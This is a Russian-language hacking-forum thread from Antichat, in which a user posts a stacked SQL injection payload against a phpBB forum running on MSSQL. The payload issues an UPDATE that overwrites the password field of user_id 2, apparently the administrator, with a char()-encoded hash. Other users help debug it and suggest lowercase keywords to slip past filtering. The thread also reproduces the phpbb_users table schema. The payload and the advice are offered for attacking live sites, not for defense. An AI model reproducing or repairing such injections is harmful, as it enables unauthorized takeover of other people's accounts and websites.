Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Уязвимости (https://forum.antichat.xyz/forumdisplay.php?f=74)
-   -   Sql в Mssql (https://forum.antichat.xyz/showthread.php?t=60616)

fly 01.02.2008 05:41

Sql в Mssql
 
еСТЬ СКУЛЬ
Код:

299+or+1=+1;UPDATE+phpbb_users+SET+user_newpasswd=char(101)%2Bchar(49)%2Bchar(48)%2Bchar(97)%2Bchar(100)%2Bchar(99)%2Bchar(51)%2Bchar(57)%2Bchar(52)%2Bchar(57)%2Bchar(98)%2Bchar(97)%2Bchar(53)%2Bchar(57)%2Bchar(97)%2Bchar(98)%2Bchar(98)%2Bchar(101)%2Bchar(53)%2Bchar(54)%2Bchar(101)%2Bchar(48)%2Bchar(53)%2Bchar(55)%2Bchar(102)%2Bchar(50)%2Bchar(48)%2Bchar(102)%2Bchar(56)%2Bchar(56)%2Bchar(51)%2Bchar(101)+WHERE+user_id=2--
Выдает ошибку
[Macromedia][SQLServer JDBC Driver][SQLServer]Incorrect syntax near the keyword 'ORDER'.

В чем проблема?

b3 01.02.2008 08:13

Цитата:

299+or+1=+1;UPDATE+
;- в етом. А ето : user_newpasswd= сам придумал колонку? И скачай дистрибутив форума и глянь как там в исходнике запрос выглядит.

fly 01.02.2008 13:59

Это тебе надо это сделать ! И азы почитать........ И кста как это если не секрет в исходниках запрос на смену пасса найти, я думал все намного проще через sql запрос проходит.
А при update (привожу спецом для тебя) в phpbb меняется значение user_newpasswd!!

А вот те и исходники дампа
mssql_schema
Код:

CREATE TABLE [phpbb_users] (
        [user_id] [int] NOT NULL ,
        [user_active] [smallint] NULL ,
        [username] [varchar] (25) NOT NULL ,
        [user_password] [varchar] (32) NOT NULL ,
        [user_session_time] [int] NOT NULL ,
        [user_session_page] [smallint] NOT NULL ,
        [user_lastvisit] [int] NOT NULL ,
        [user_regdate] [int] NOT NULL ,
        [user_level] [smallint] NOT NULL ,
        [user_posts] [int] NOT NULL ,
        [user_timezone] [decimal] (5,2) NOT NULL ,
        [user_style] [int] NULL ,
        [user_lang] [varchar] (255) NULL ,
        [user_dateformat] [varchar] (14) NOT NULL ,
        [user_new_privmsg] [smallint] NOT NULL ,
        [user_unread_privmsg] [smallint] NOT NULL ,
        [user_last_privmsg] [int] NOT NULL ,
        [user_emailtime] [int] NOT NULL ,
        [user_viewemail] [smallint] NULL ,
        [user_attachsig] [smallint] NULL ,
        [user_allowhtml] [smallint] NULL ,
        [user_allowbbcode] [smallint] NULL ,
        [user_allowsmile] [smallint] NULL ,
        [user_allowavatar] [smallint] NULL ,
        [user_allow_pm] [smallint] NOT NULL ,
        [user_allow_viewonline] [smallint] NOT NULL ,
        [user_notify_pm] [smallint] NOT NULL ,
        [user_popup_pm] [smallint] NULL ,
        [user_rank] [int] NULL ,
        [user_avatar_type] [smallint] NULL ,
        [user_avatar] [varchar] (100) NULL ,
        [user_email] [varchar] (255) NULL ,
        [user_icq] [varchar] (15) NULL ,
        [user_website] [varchar] (100) NULL ,
        [user_occ] [varchar] (100) NULL ,
        [user_from] [varchar] (100) NULL ,
        [user_sig] [text] NULL ,
        [user_sig_bbcode_uid] [char] (10) NULL ,
        [user_aim] [varchar] (255) NULL ,
        [user_yim] [varchar] (255) NULL ,
        [user_msnm] [varchar] (255) NULL ,
        [user_interests] [varchar] (255) NULL ,
        [user_actkey] [varchar] (32) NULL ,
        [user_newpasswd] [varchar] (32) NULL ,        [user_notify] [smallint] NOT NULL
) ON [PRIMARY] TEXTIMAGE_ON [PRIMARY]


Если не знаешь не пиши!!!!)))

Basurman 01.02.2008 16:23

С маленькой буквы пиши. union select update order и тд

fly 01.02.2008 16:50

Да разницы нет! Почему вылетает Incorrect syntax near the keyword 'ORDER'.

Basurman 01.02.2008 17:02

для 9.00.xxx есть

для примера: https://forum.antichat.ru/showpost.php?p=413076&postcount=19
Если там написать мелкими букавками - все пройдет на ура


Время: 23:27